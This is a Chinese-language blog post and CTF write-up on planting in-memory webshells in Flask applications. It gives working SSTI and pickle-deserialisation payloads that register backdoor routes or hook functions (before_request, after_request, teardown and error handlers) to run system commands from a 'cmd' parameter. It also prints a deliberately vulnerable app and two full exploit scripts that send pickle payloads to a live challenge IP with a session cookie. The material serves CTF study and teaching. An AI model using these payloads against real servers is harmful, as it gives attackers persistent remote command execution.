Flask内存马

在旧版本的Flask框架中,可以通过app.add_url_rule()函数注册一个后门路由,并定义一个可控的匿名函数作为视图函数,进而达到挂马的目的.但是在新版的Flask框架里,这种动态添加路由的方式被ban了.

注入内存马需要我们能执行代码,经典的方式是通过SSTI,当然也可以利用pickle反序列化.

旧版Flask内存马

经典payload

url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

写成容易阅读的形式

url_for.__globals__['__builtins__']['eval'](
    "app.add_url_rule(
        '/shell', 
        'shell', 
        lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
        )
    ",
    {
        '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
        'app':url_for.__globals__['current_app']
    })

原理

第一行利用url_for()函数作为入口点获取了当前命名空间的__builtins__模块,调用了eval用于执行代码

这个eval传入了两个参数,先看第二个.

{
        '_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
        'app':url_for.__globals__['current_app']
    }

这个参数是eval的命名空间,_request_ctx_stack是一个请求上下文栈.请求上下文是是指在处理HTTP请求的过程中,Flask创建的一个临时环境,用来存储和管理与当前请求相关的信息,例如当前请求的request对象,其中就包括了HTTP请求的所有细节.

url_for.__globals__['current_app']是当前运行的app.

接下来再看执行的代码.

"app.add_url_rule(
        '/shell', 
        'shell', 
        lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
        )
    "

app.add_url_rule()是一个可以用来动态地添加路由的方法,包括了六个参数,去看看是怎么定义的

@setupmethod
def add_url_rule(
    self,
    rule: str,#函数对应的URL规则,满足条件和app.route()的第一个参数一样,必须以/开头；
    endpoint: str | None = None,#端点,即在使用url_for()进行反转的时候,这里传入的第一个参数就是endpoint对应的值.这个值也可以不指定,那么默认就会使用函数的名字作为endpoint的值；
    view_func: ft.RouteCallable | None = None,#URL对应的函数（注意,这里只需写函数名字而不用加括号）；
    provide_automatic_options: bool | None = None,#控制是否应自动添加选项方法.这也可以通过设置视图来控制_func.provide_automatic_options =添加规则前为False；
    **options: t.Any,#要转发到基础规则对象的选项.Werkzeug的一个变化是处理方法选项.方法是此规则应限制的方法列表（GET、POST等）.默认情况下,规则只侦听GET（并隐式地侦听HEAD）.从Flask0.6开始,通过标准请求处理隐式添加和处理选项；
) -> None:

由此可见,这个方法可以根据传入的参数动态地添加一个路由,其中我们可以指定用于处理这个路由的视图函数.在这个payload里,我们定义了一个匿名函数用于处理这个路由的请求.

lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()

为了获取我们注入的命令,我们还需要当前HTTP请求的request对象,这也就是我们一开始要获取_request_ctx_stack的原因.在这个栈里,栈顶的元素_request_ctx_stack.top自然就是我们当前请求的上下文,其中包含我们需要的request对象,于是我们就可以获取当前请求GET传参的值,进而执行我们传入的命令.

这就是旧版Flask内存马的原理.

在旧版Flask内存马中需要注意一个点就是当前app的获取,需要确实获取到当前正在运行的app.这里所用的技巧和沙箱逃逸是一致的.

试验

实验环境;Flask 3.0.1,Flask-Login 0.6.3

app.py

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/')
def home():
    person = "NO ARG"
    if request.args.get('torjan'):
        person = request.args.get('torjan')
        eval(person)
    template = '<h2> %s!</h2>' % person
    return render_template_string(template)

if __name__ == "__main__":
    print("Listening on port 5000. ")
    app.run()

如果我们尝试在新版Flask跑起来的web应用中用旧版的方式挂内存马就会有如下报错.

payload:

url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

​ 看调用栈能发现这个报错是_check_setup_finished()这个函数抛出的

意思就是这个app已经跑起来了,这个函数就不能再被调用了.调试之后发现这个方法的@setupmethod装饰器会先check一次,所以基本上是完全不能用了.

总结

我目前接触到的旧版Flask内存马不能继续使用的原因大只是因为在可以动态添加路由和错误处理逻辑(如register_error_handler()方法)都被@setupmethod装饰器修饰了,而@setupmethod装饰器会在Flask跑起来之前就把这些方法都加到一个被check的名单里,以后再被调用的话就会被@setupmethod这个装饰器给check然后报错

新版Flask内存马

新版内存马的第一种实现方式是用before_request()装饰器或者after_request()装饰器在一个请求前/后执行自己注入的代码,进而实现挂马的操作.我们要先了解什么是装饰器.

python装饰器

装饰器本质上是一个可调用的对象(函数或类), 它接收一个函数或类座位参数,并返回一个新的函数或类.这个新的函数或类通常会保留原始函数或类的功能,但会在其基础上添加一些额外的逻辑.

before_request()方法挂马

before_request()是一个Flask框架下的解释器,用于定义一个在每个请求之前执行的操作.我们看一下他是如何实现的

self.before_request_funcs.setdefault(None, []).append(f)

可以看到他给一个字典里压进去了一个函数f,我们猜测这个字典里的东西都是在请求之前被执行的.于是我们模仿这个装饰器的操作,把f换成一个匿名函数,这样不就能在请求前执行我们注入的代码了吗

payload:

__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('whoami').read())

在这里,我们构造了一个lambda :__import__('os').popen('whoami').read(),就执行了我们的命令.这里只提供了一个思路,具体的应用还要根据命令执行的环境灵活应变.

但是使用before_request()有一个问题就是执行了之后访问所有页面都会是匿名函数返回的结果,可能会被搭便车,也很容易被发现.使用after_request()就能避免这个问题.

after_request()方法挂马

after_request()和before_request()很像.

他执行了一个self.after_request_funcs.setdefault(None, []).append(f),也是给列表里加了一个元素.

和上一个一样的payload却报错了

TypeError: <lambda>() takes 0 positional arguments but 1 was given

给他设一个形参x也报错

下个断点调一下

发现已经成功执行了,但是带不出来,看了其他师傅的文章才发现这里传入的匿名函数需要接收一个response对象,同时返回一个response对象,这是修改之后的payload,适用于能直接执行命令的环境下.因为这个匿名函数返回一个response对象,所以这个payload能直接把回显带出来.如果不要求带出回显的话匿名函数就不用写这么复杂.payload里的r和cmd都是可以改的

app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec('global r;r=app.make_response(__import__('os').popen(request.args.get('cmd')).read())')==None else resp)

逐行解释这段代码

lambda resp: #传入参数
    CmdResp if request.args.get('cmd') and      #如果请求参数含有cmd则返回命令执行结果
    exec('
        global r;     #定义一个全局变量,方便获取
        r=app.make_response(__import__('os').popen(request.args.get(\'cmd\')).read())   #创建一个响应对象
    ')==None    #恒真
    else resp)  #如果请求参数没有cmd则正常返回
#这里的cmd参数名和r变量名都是可以改的

执行后就会将get传入的cmd参数作为系统命令执行,如果没有传入cmd就显示正常的界面.

简化版不带出回显,适用于过滤严格的场景

app.after_request_funcs.setdefault(None, []).append(lambda x:__import__("os").popen(request.args.get("cmd")))

Flask中的钩子函数

其实after_request()和before_request()有一个共同的分类叫钩子函数.钩子函数是指在执行函数和目标函数之间挂载的函数,框架开发者给调用方提供一个point-挂载点,至于挂载什么函数由调用方决定.

@before_first_request

在对应用程序实例的第一个请求之前注册要运行的函数,只会运行一次.

@before_request

在每个请求之前注册一个要运行的函数,每一次请求都会执行一次.

@after_request

在每个请求之后注册一个要运行的函数,每次请求完成后都会执行.需要接收一个 Response 对象作为参数,并返回一个新的 Response 对象,或者返回接收的 Response 对象.

@teardown_request

注册在每一个请求的末尾,不管是否有异常,每次请求的最后都会执行.

@context_processor

上下文处理器,返回的字典可以在全部的模板中使用.

@template_filter('upper')

增加模板过滤器,可以在模板中使用该函数,后面的参数是名称,在模板中用到.

@errorhandler(400)

发生一些异常时,比如404,500,或者抛出异常(Exception)之类的,就会自动调用该钩子函数.

1.发生请求错误时,框架会自动调用相应的钩子函数,并向钩子函数中传入error参数.

2.如果钩子函数没有定义error参数,就会报错.

3.可以使用abort(http status code)函数来手动终止请求抛出异常,如果要是发生参数错误,可以abort(404)之类的.

@teardown_appcontext

不管是否有异常,注册的函数都会在每次请求之后执行.flask 为上下文提供了一个teardown_appcontext钩子,使用它注册的毁掉函数会在程序上下文被销毁时调用,通常也在请求上下文被销毁时调用.某些情况下这个函数和@teardown_request的行为是类似的,一个是请求上下文被销毁时被调用,另一个是应用上下文被销毁时调用.

比如你需要在每个请求处理结束后销毁数据库连接：app.teardown_appcontext 装饰器注册的回调函数需要接收异常对象作为参数,当请求被正常处理时这个参数将是None,这个函数的返回值将被忽略.

@before_request/@after_request和@teardown_request/@teardown_appcontext的区别

@after_request是在视图函数处理完请求并生成响应对象之后，但在响应被发送给客户端之前。而且这个函数需要接收当前的响应作为参数,并可以返回一个新的响应对象或者返回原来的响应对象.

@teardown_request/@teardown_appcontext无论请求是否成功完成，无论是否发生了异常,是在响应已经被发送给客户端之后被触发,而且不接受任何参数.

@after_request装饰的函数如果抛出了异常就会直接跳转到错误处理机制.

@teardown_request/@teardown_appcontext装饰的函数被抛出的异常通常会被忽略.

#有一个形参返回一个response对象的匿名函数
lambda resp: CmdResp if request.args.get('cmd') and exec('global CmdResp; CmdResp = app.make_response(__import__("os").popen(request.args.get("cmd")).read())') == None else resp

#一个普通的匿名函数
lambda:__import__('os').popen(request.args.get(\'cmd\')).read()

@teardown_request的利用

payload:

app.teardown_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen("calc").read())

不能调用request.args.get()动态执行传入的命令,但是可以执行注入的代码.每次刷新网页都会执行.原因是这个装饰器的触发是在请求被销毁后的.在这个时候上一个HTTP请求帧已经被销毁了,但是可以执行静态命令.

@teardown_appcontext的利用

payload:

app.teardown_appcontext_funcs.append(lambda x :__import__('os').popen("calc").read())

同样不能调用request.args.get()动态执行传入的命令,但是可以执行注入的代码.每次刷新网页都会执行.原因是这个装饰器的触发是在请求被销毁后的.不然会报错

RuntimeError: Working outside of request context.

@errorhandler()的利用

这个装饰器在其内部定义了一个用于注册错误处理函数的函数

​ 跟到这个register_error_handler()里边

可以发现他给这个self.error_hander_spec这个字典里添加了一个函数,就是错误处理函数.

也就是说现在的重点变成了如何控制这个code和exc_class.如果能控制这两个值,我们就可以利用错误处理的逻辑执行我们传入的函数.那么code和exc_class是从哪里来的呢,看656行的self._get_exc_class_and_code,进入这个方法可以发现他返回的是一个元组,元组里有一个错误的类和一个整数

虽说知道了他是个元组,但是我们还是不好构造一个对象出来放到payload里,我们不妨直接调用_get_exc_class_and_code()这个方法然后把他的返回值扔到self.error_hander_spec这个字典里.然后给他赋值我们构造的函数._get_exc_class_and_code()的形参是一个整数就比较方便调用了.

这是gxngxngxn师傅的payload

exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()")

太强了,师傅给我力量.

用这个方法是可以直接带出来回显的

例题

[2024黄河流域]Python-Revenge

附件下载源码

app.py

import base64
import builtins
import io
import os
import pickle
import pickletools
import sys

from flask import Flask, render_template, request, redirect, url_for, session
from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user

app = Flask(__name__)
app.secret_key = 'welcome_to_here'  # 修改为一个随机的密钥

# 初始化 Flask-Login
login_manager = LoginManager()
login_manager.init_app(app)
login_manager.login_view = 'login'

# 模拟一个用户类
class User(UserMixin):
    def __init__(self, id):
        self.id = id

# 模拟用户数据库
users = {'user_id': {'password': 'user_password', 'role': 'user'}, 'admin_id': {'password': 'asdfghjkl', 'role': 'admin'}}

@login_manager.user_loader
def load_user(user_id):
    return User(user_id)




@app.route('/login', methods=['GET', 'POST'])

def login():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        user_data = users.get(username)
        if user_data and user_data.get('password') == password:
            user = User(username)
            login_user(user)

            session['role'] = 'admin' if username == 'admin_id' else 'user'

            return render_template('index.html')
    return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
    logout_user()
    session.pop('role', None)
    return redirect(url_for('login'))

@app.route('/', methods=['GET', 'POST'])
@login_required
def index():
    results = ""
    if request.method == 'POST':
        a = request.form['text']
        output = io.StringIO()
        try:
            decoded_data = base64.b64decode(a)
            if b'before' in decoded_data or b'after' in decoded_data:
                results = "不可以添加函数！"
                return render_template("index.html",results=results)
            elif b'static' in decoded_data or b'>' in decoded_data or b'|' in decoded_data or b'/' in decoded_data or b'template' in decoded_data:
                results = "不能写文件嗷！"
                return render_template("index.html",results=results)
            else:
                pickle.loads(decoded_data)
            with io.StringIO() as file:
                old_stdout = sys.stdout
                sys.stdout = file
                try:
                    pickletools.dis(decoded_data)
                finally:
                    sys.stdout = old_stdout
                results = file.getvalue()
        except:
            results = "error"

        return render_template('index.html', results=results)
    else:
        return render_template('index.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']

        # 检查用户名是否已存在
        if username in users:
            return "用户名已存在，请选择其他用户名"

        # 创建新用户
        users[username] = {'password': password, 'role': 'user'}

        # 登录新用户
        user = User(username)
        login_user(user)

        return redirect(url_for('index'))

    return render_template('register.html')


if __name__ == '__main__':
    app.config['SESSION_COOKIE_NAME'] = 'session'
    app.run(host='0.0.0.0', port=5000)

题目环境是一个没有回显的Pickle反序列化,而且机器不出网,没有nc,curl,base64可以用ping进行DNS带外,但是带外不能执行cat flag.txt.所以只能用内存马打.题目没有对PVM的opcode进行严格过滤,所以我们直接重写类的__reduce__方法,比手搓opcode简单多了.

解法一

可以读文件然后重定向输出到/app/static/flag.txt然后访问路由读

exp

import pickle
import base64
import requests
import time


#生成poc

class Exp(object):
    def __reduce__(self):
        return (eval, (
            "app.teardown_request_funcs.setdefault(None, []).append(lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))",))


a = Exp()
poc = base64.b64encode(pickle.dumps(a))

# 设置代理

proxies = {
    "http": None,
    "https": None
}

# 设置http报文头

headers = {
    "Cookie": "session=.eJwljkuKwzAQRK8ieh0GtVrWx6fIfgih1WrFBueD5axC7j6CWT2KehT1gWvbuC_aYf79gDkG4K69803hBOdNuavZnjezPszxNCwySnMsazev4fzA5Xs5jZFd-wLzsb91pLXCDI045allqUyUcoh2gCJhjClU1wpRSLGVElLiQSs5YsbqOXuXRKwXtMohWRty9Ui5MNlUMUvJyuqHEhxPrbnGKbIoBo9lEkZ01cm4f3133f_foCP4_gE6f0aB.ZkReyg.4IeToNeyelspH6VLOtsleu5lzRc; td_cookie=3344784055",
    "Content-Type": "application/x-www-form-urlencoded"
}

data = {"text": poc}


def introduct():
    try:
        for i in range(1, 100):
            res = requests.post("http://47.98.247.113:1112/", headers=headers, data=data, proxies=proxies)
            flag = requests.get("http://47.98.247.113:1112/static/flag.txt", headers=headers, proxies=proxies)
            if flag.status_code == 200:
                print(flag.text)
            # print(base64.b64decode(poc.decode('utf-8')))
            # print(i, poc, res.text)
            time.sleep(3)

    except:
        print("Lost connect,waiting for reconnect......")
        introduct()


if __name__ == "__main__":
    introduct()

解法二

用@errorhandler()挂马

只是把第一种方法中重写__reduce__的地方改了一下,访问一个不存在的界面get传参cmd=cat flag.txt即可

exp

import pickle
import base64
import requests
import time


class Exp(object):
    def __reduce__(self):
        return (eval, ("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))


a = Exp()
poc = base64.b64encode(pickle.dumps(a))

# 设置代理

proxies = {
    "http": None,
    "https": None
}

# 设置http报文头

headers = {
    "Cookie": "session=.eJwljkuKwzAQRK8ieh0GtVrWx6fIfgih1WrFBueD5axC7j6CWT2KehT1gWvbuC_aYf79gDkG4K69803hBOdNuavZnjezPszxNCwySnMsazev4fzA5Xs5jZFd-wLzsb91pLXCDI045allqUyUcoh2gCJhjClU1wpRSLGVElLiQSs5YsbqOXuXRKwXtMohWRty9Ui5MNlUMUvJyuqHEhxPrbnGKbIoBo9lEkZ01cm4f3133f_foCP4_gE6f0aB.ZkReyg.4IeToNeyelspH6VLOtsleu5lzRc; td_cookie=3344784055",
    "Content-Type": "application/x-www-form-urlencoded"
}

data = {"text": poc}


def introduct():
    try:
        for i in range(1, 100):
            res = requests.post("http://47.98.247.113:1112/", headers=headers, data=data, proxies=proxies)
            print("post successfully")
            flag = requests.get("http://47.98.247.113:1112/static/flag.txt", headers=headers, proxies=proxies)
            if flag.status_code == 200:
                print(flag.text)
            # print(base64.b64decode(poc.decode('utf-8')))
            # print(i, poc, res.text)
            time.sleep(3)

    except:
        print("Lost connect,waiting for reconnect......")
        introduct()


if __name__ == "__main__":
    introduct()

解法三

利用S操作符绕过字符串明文检测,最好重写__reduce__后自己改一下,免得手搓的麻烦了,没写poc,各位师傅自己复现吧,提供一个思路.